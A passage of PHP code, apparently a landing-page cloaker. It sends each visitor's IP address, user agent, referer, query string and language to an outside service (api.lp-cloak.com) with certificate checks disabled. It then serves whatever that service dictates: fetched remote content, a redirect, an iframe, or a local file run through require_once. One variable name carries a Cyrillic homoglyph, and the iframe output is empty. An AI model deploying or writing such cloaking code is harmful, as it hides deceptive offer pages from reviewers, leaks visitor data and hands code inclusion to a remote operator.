'072b9935-a192-4aef-a97b-4e827900dfe1', 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'referer' => !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', 'query' => !empty($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '', 'lang' => !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '', 'ip_address' => $ip_address ]; if (function_exists('curl_version')) { $request_data = http_build_query($request_data); $ch = curl_init('https://api.lp-cloak.com/api/verifies'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_TIMEOUT => 15, CURLOPT_POSTFIELDS => $request_data ]); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if (!empty($info) && $info['http_code'] == 200) { $body = json_decode($result, TRUE); $сontext_options = ['ssl' => ['verify_peer' => FALSE, 'verify_peer_name' => FALSE], 'http' => ['header' => 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT']]]; if ($body['type'] == 'load') { if (filter_var($body['url'], FILTER_VALIDATE_URL)) { echo str_replace('', '', file_get_contents($body['url'], FALSE, stream_context_create($сontext_options))); } elseif (file_exists($body['url'])) { if (pathinfo($body['url'], PATHINFO_EXTENSION) == 'html') { echo file_get_contents($body['url'], FALSE, stream_context_create($сontext_options)); } else { require_once($body['url']); } } else { exit('Offer Page Not Found.'); } } if ($body['type'] == 'redirect') { header('Location: ' . $body['url'], TRUE, 302); exit(0); } if ($body['type'] == 'iframe') { echo ' '; } } else { exit('Something went wrong. Pls contact with support'); } } else { exit('cURL is not supported on the hosting.'); }